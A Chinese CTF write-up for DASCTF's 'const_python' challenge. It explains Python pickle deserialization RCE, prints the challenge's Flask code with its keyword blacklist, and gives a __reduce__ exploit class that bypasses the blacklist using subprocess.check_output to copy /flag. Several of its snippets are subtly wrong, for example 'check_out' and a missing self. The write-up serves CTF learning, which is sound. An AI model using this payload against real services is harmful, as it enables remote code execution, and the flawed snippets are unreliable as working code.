dasctf 2024最后一战:const_python
什么是打”pickle”反序列化
背后的概念(很短)
- pickle:Python 的序列化模块,可以把 Python 对象(比如列表、字典、类实例)转成字节串(序列化),再把字节串恢复成对象(反序列化)。
- 反序列化(unpickle):把字节变回对象(
pickle.loads/pickle.load)。 - 问题:pickle 能在反序列化时重建对象状态,某些对象在被重建/恢复时会触发 Python 去执行某些函数/方法 —— 如果输入来自不可信方,就可能被利用执行任意代码(造成 RCE)。
补充python基本概念
引入sys.module与模块的概念(与该题无关,纯补充知识)
区分:模块和类
- 模块(Module) 是最小单位,指单个
.py文件,里面包含变量、函数、类等代码,用于封装特定功能(比如一个处理日期的date_utils.py文件就是一个模块)。 - 库(Library) 是一组相关模块的集合,用于解决某类问题。例如:
os库包含了多个与操作系统交互的模块(虽然我们通常直接用import os,但它本质是多个模块的封装);requests库是一个第三方库,由多个模块组成,专门处理 HTTP 请求。
简单说:一个库由多个模块组成,一个模块是单个 .py 文件。库是更宏观的功能集合,模块是库的基本组成单元。
关于pickle的命令执行
基本简介
- 该题用到的是
pickle.loads - **需要强调,
pickle.loads**这一方法就是该题可以使用命令执行的信号,请看下列的讲解,该方法如何进行命令执行的:
执行方法
我们首先需要得知,
pickle.loads本质核心工作是不进行命令执行的。但若是传入的数据有特殊基类的话那就不一定了。因为它执行的是对象自己声明的函数如下为你介绍__reduce__类。关于执行对象自己声明的函数,通俗来讲:
🎯 核心一句话(最重要的概念)
*pickle 反序列化时,会根据对象提供的“说明书(*reduce*)”,调用对象自己指定的函数来恢复它。
所以说 pickle 执行的是“对象自己声明的函数”。*你之所以不理解,是因为你还没看清楚:
- “对象在哪里声明函数?”
- “什么叫声明?”
- “为什么 pickle 会执行它?”
我现在来彻底讲清楚。
🧩 1. 对象在哪里“声明”函数?
就在这里:
1
2
3class exp():
def __reduce__(self):
return (subprocess.check_output, (["cp","/flag","/app/app.py"],))这个类通过
__reduce__明确告诉 pickle:“当你反序列化我时,请调用 subprocess.check_output([…]) 来重新构造我。”
这就是对象自己声明的东西。
🧩 2. 为什么这叫“对象自己声明的函数”?
因为:
- 对象写了一个
__reduce__方法 - 在方法里面,它返回了一个函数(subprocess.check_output)
- 还返回了这个函数的参数(
(["cp", "/flag", "/app/app.py"],))
这就是对象自己告诉 pickle:
“用这个函数来恢复我。”
就像对象自己写了一张纸条塞给 pickle:(
__reduce__就是标注哪个是你,即pickle需要阅读的纸条)1
请执行 subprocess.check_output(["cp", "/flag", ...])
🧩 3. pickle 为什么要执行 reduce?(因为协议规定如此)
pickle 协议规定:
如果一个对象实现了
__reduce__(),反序列化时必须调用它。原因是:
- 一个对象可能很复杂
- pickle 无法知道怎么重新初始化它
- 所以对象自己告诉 pickle:“我应该怎么恢复”
介绍__reduce__方法
比如下列代码:
1
2def __reduce__(self):
return (list, ([1,2,3],))在执行反序列化的时候,会这样执行该函数:
1
list([1,2,3])
即:
如果reduce返回(func,args)
那么将执行func(*args)
小细节:__reduce__必须包裹在类中吗
这是重点:
pickle 执行 *reduce* 的前提是:
反序列化时需要“恢复某个对象”。
如果没有对象,就没有机会触发 reduce。
因此:
- 你通常会写一个类(class)
- 创建该类的一个实例
- 实例在序列化时“带上”它的 reduce 信息
- 反序列化时才会触发 reduce
就是这么回事。
所以我们一定要写一个类,然后将__reduce__包裹在其中。
下面来看具体打法
题目简介
首先根据提示获得源码:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48"""<!-- /src may help you>
Username: <input type="text" name="username"><br>
Password: <input type="password" name="password"><br>
<input type="submit" value="Login">
</form>
"""
import flask
import base64
from flask import Flask, request, jsonify, session, app
import pickle
import sys
#定义对/ppicklee的访问
def ppicklee():
data = request.form['data']#我们要过滤的目标就是表单中的data参数,传参也是传的这个参数
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:#pickle序列化不是网络服务器传输信息的必要步奏,有些后端会把数据pickle加密后再进行base64编码发给服务器
#只不过在这道题中,我们可以通过该后端脚本推测出来,该题的数据经过了pickle加密 => base64编码 =>发送给服务器 的过程
pickle_data = base64.b64decode(data)#首先把数据使用base64解码
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:#解密
return i+" waf !!!!!!!"#直接结束整个函数
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"
def admin():
username = session['username']
if username != "admin":
return jsonify({"message": 'You are not admin!'})
return "Welcome Admin"
def src():
return open("app.py", "r",encoding="utf-8").read()
if __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=5000)别看那么长,你着重关注:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18def ppicklee():
data = request.form['data']#我们要过滤的目标就是表单中的data参数,传参也是传的这个参数
sys.modules['os'] = "not allowed"
sys.modules['sys'] = "not allowed"
try:#pickle序列化不是网络服务器传输信息的必要步奏,有些后端会把数据pickle加密后再进行base64编码发给服务器
#只不过在这道题中,我们可以通过该后端脚本推测出来,该题的数据经过了pickle加密 => base64编码 =>发送给服务器 的过程
pickle_data = base64.b64decode(data)#首先把数据使用base64解码
for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:#解密
return i+" waf !!!!!!!"#直接结束整个函数
pickle.loads(pickle_data)
return "success pickle"
except Exception as e:
return "fail pickle"只看这一段即可,由上面的铺垫,可以找到这段是关键的原因:**有
pickle.loads**函数并且我们可以发现其中的逻辑:
这样我们就可以为之后编写脚本的加密过程进行一个铺垫。
绕过方法
我们可以看到题目中存在的简单黑名单过滤机制:
1
2
3
4for i in {"os", "system", "eval", 'setstate', "globals", 'exec', '__builtins__', 'template', 'render', '\\',
'compile', 'requests', 'exit', 'pickle',"class","mro","flask","sys","base","init","config","session"}:
if i.encode() in pickle_data:#解密
return i+" waf !!!!!!!"#直接结束整个函数过滤掉的都是一些常见的命令执行函数,但是,我们可以发现:**
subprocess**函数没有被囊括在其中。
所以可以加以利用。**这里采用
subprocess.check_out**函数
为什么采用它?
因为该函数的功能就是:用于执行系统命令并返回命令的输出结果。关于用法:
你必须传入列表:
1
["命令", "参数1", "参数2", ...]
例子:
1
subprocess.check_output(["cp", "/flag", "/tmp/x"])
等价于 shell:
1
cp /flag /tmp/x
但注意!!!!
这里没有 shell
不会解析
$PATH, 不会执行&&、|之类的符号。这就是为什么:
1
subprocess.check_output("ls -la")
是错误的,必须写:
1
subprocess.check_output(["ls", "-la"])
总结,整体逻辑如下:
利用
pickle.loads方法会解析数据中__reduce__这个函数,即一个任意类中的__reduce__函数
如写作:1
2
3class exp():
def __reduce__:
return(subprocess.check_out,(["ls","-a"]))#里面的中括号列表格式是subprocess.loads要求的在
pickle.loads()读取的时候,会变为执行:1
(subprocess(["ls","-a"]))
即可进行命令执行
同时别忘记给我们post过去的请求体加密,按照题目背景的步奏(先pickle后base64)
脚本
- 顺便介绍一个库:
shlex
该库可以将如:ls -a文本切割为:['ls','-a']
bug提示
- 关于
subprocess.check_out的用法:
1 | return (subprocess.check_output, (self.command_list)) |
关于
b64_e = base64.b64encode(pickle_e)
此时的b64_e为bytes形式的数据,而非字符串,无法直接给requests库用,所以必须使用decode()函数解码:1
processed_command = encode(command_spilt).decode()



